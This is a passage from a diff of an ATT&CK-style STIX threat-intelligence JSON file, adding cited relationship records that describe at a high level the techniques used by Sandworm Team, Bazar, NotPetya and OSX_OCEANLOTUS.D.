"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has researched software code to enable supply-chain operations, most notably for the 2017 [NotPetya](https://attack.mitre.org/software/S0368) attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) also collected a list of computers using specific software as part of its targeting efforts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--9f10e334-ae5f-4d8e-8229-64408fef1fd1", + "type": "relationship", + "modified": "2021-01-06T21:30:47.919Z", + "created": "2020-11-25T22:46:47.792Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader has named malicious shortcuts adobe.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--78ba82a1-e803-42c1-b112-ce999369d348", + "type": "relationship", + "modified": "2021-03-26T21:11:31.783Z", + "created": "2020-11-30T15:35:49.457Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader is used to download and execute the [Bazar](https://attack.mitre.org/software/S0534) backdoor.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--711879b6-a9ac-42c6-a6a0-244b03890cec", + "type": "relationship", + "modified": "2020-11-30T16:01:32.332Z", + "created": "2020-11-30T16:01:32.332Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) downloads have been hosted on Google Docs.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--d5f0ff09-374d-45f6-b7d8-45466bf0ecf0", + "type": "relationship", + "modified": "2020-11-30T16:01:32.397Z", + "created": "2020-11-30T16:01:32.397Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can inject code through calling VirtualAllocExNuma.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--227624a1-7dda-4691-89b3-49336aa68bfa", + "type": "relationship", + "modified": "2020-11-30T16:35:35.610Z", + "created": "2020-11-30T16:35:35.610Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "external_references": [ + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can use Winlogon Helper DLL to establish persistence.(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--8dd22b15-a9bb-4acc-8fac-e366756ab50b", + "type": "relationship", + "modified": "2020-11-30T16:43:50.910Z", + "created": "2020-11-30T16:43:50.910Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate the victim's desktop.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--0a2c9965-291c-4724-829b-3cd5e8b26b58", + "type": "relationship", + "modified": "2020-12-01T14:36:15.122Z", + "created": "2020-11-30T16:54:23.460Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can establish persistence by writing shortcuts to the Windows Startup folder.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--ed61e0a2-f6a7-43b1-b58e-aa0ab9c51c4e", + "type": "relationship", + "modified": "2020-12-01T14:15:38.037Z", + "created": "2020-11-30T16:54:23.532Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can execute a WMI query to gather information about the installed antivirus engine.(Citation: Cybereason Bazar July 2020)(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--e3cd7b09-c244-4b5e-9a99-f1431489ed49", + "type": "relationship", + "modified": "2021-04-14T19:23:28.284Z", + "created": "2020-11-30T16:57:05.532Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--3954c9eb-1916-43ed-ba79-cc40d084c1a0", + "type": "relationship", + "modified": "2020-11-30T17:05:19.819Z", + "created": "2020-11-30T17:05:19.819Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s research of potential victim organizations included the identification and collection of employee information.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--4e602d58-5a4f-417c-8b61-568e830411d1", + "type": "relationship", + "modified": "2020-11-30T17:05:19.822Z", + "created": "2020-11-30T17:05:19.822Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--f425ddf8-fc3b-41d5-ba2e-66291ba16329", + "type": "relationship", + "modified": "2020-11-30T17:05:19.844Z", + "created": "2020-11-30T17:05:19.844Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[NotPetya](https://attack.mitre.org/software/S0368) searches for files ending with dozens of different file extensions prior to encryption.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--7c958b31-ef21-4231-9a8f-a66cb7db3355", + "type": "relationship", + "modified": "2020-11-30T17:38:40.944Z", + "created": "2020-11-30T17:38:40.944Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[NotPetya](https://attack.mitre.org/software/S0368) determines if specific antivirus programs are running on an infected host machine.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--6157e239-92a8-427f-ba9b-2f06f5b03f12", + "type": "relationship", + "modified": "2020-11-30T17:38:40.968Z", + "created": "2020-11-30T17:38:40.968Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate remote systems using Net View.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--16d19ac1-de53-44e2-9139-32b0e0525b0c", + "type": "relationship", + "modified": "2020-11-30T21:38:24.612Z", + "created": "2020-11-30T21:38:24.612Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can use [Nltest](https://attack.mitre.org/software/S0359) tools to obtain information about the domain.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--120f001f-eb9c-4183-89f1-7c6e4bddc80c", + "type": "relationship", + "modified": "2020-12-01T15:02:31.851Z", + "created": "2020-11-30T21:44:25.557Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can delete its loader using a batch file in the Windows temporary folder.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--bf61da0b-036b-4e51-894f-71a73689cff4", + "type": "relationship", + "modified": "2021-04-16T21:43:14.196Z", + "created": "2020-12-01T13:59:23.059Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can send C2 communications with XOR encryption.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--7a41dd37-a5a0-4469-9ed9-74eb8ac57af3", + "type": "relationship", + "modified": "2020-12-01T14:03:12.620Z", + "created": "2020-12-01T14:03:12.620Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can use a timer to delay execution of core functionality.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--adbee939-28b3-4932-9e8d-992b7fdca835", + "type": "relationship", + "modified": "2020-12-01T14:06:57.090Z", + "created": "2020-12-01T14:06:57.090Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can execute a PowerShell script received from C2.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--2cd5235f-1f0b-4f58-a931-d3b940b62cbf", + "type": "relationship", + "modified": "2020-12-01T14:44:51.171Z", + "created": "2020-12-01T14:44:51.171Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify the username of the infected user.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--b609347d-0089-4021-86a6-706ef1abc95e", + "type": "relationship", + "modified": "2020-12-01T14:52:12.840Z", + "created": "2020-12-01T14:52:12.840Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate shared drives on the domain.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--203108df-424d-4dfe-ac45-3cbd84c71615", + "type": "relationship", + "modified": "2020-12-01T15:02:30.819Z", + "created": "2020-12-01T15:02:30.819Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify administrator accounts on an infected host.(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--cc81f8f0-111c-4932-bc75-7704eaf17f73", + "type": "relationship", + "modified": "2020-12-01T15:19:53.657Z", + "created": "2020-12-01T15:19:53.657Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has the ability to identify domain administrator accounts.(Citation: NCC Group Team9 June 2020)(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--1685aa0e-d1be-40ea-ade0-21ff64e0d372", + "type": "relationship", + "modified": "2021-03-08T20:49:44.682Z", + "created": "2020-12-01T15:19:53.721Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has disguised its app bundle by adding special characters to the filename and using the icon for legitimate Word documents.(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--9e6bbb1a-95c6-4f51-9aff-6b424c731cfc", + "type": "relationship", + "modified": "2020-12-02T14:07:12.621Z", + "created": "2020-12-02T14:07:12.621Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "external_references": [ + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can delete the file quarantine attribute.(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--e735944e-9387-4cfb-bf2c-0a1c27d93bce", + "type": "relationship", + "modified": "2020-12-02T14:13:22.841Z", + "created": "2020-12-02T14:13:22.841Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "external_references": [ + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." + } + ], + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can use shell script to execute malicious code.(Citation: Trend Micro MacOS Backdoor November 2020)", + "relationship_type": "uses", + "id": "relationship--4f9fef8b-1ceb-4a10-b6ea-ff2a9680154f", + "type": "relationship", + "modified": "2020-12-02T14:13:22.903Z", + "created": "2020-12-02T14:13:22.903Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "external_references": [ + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": 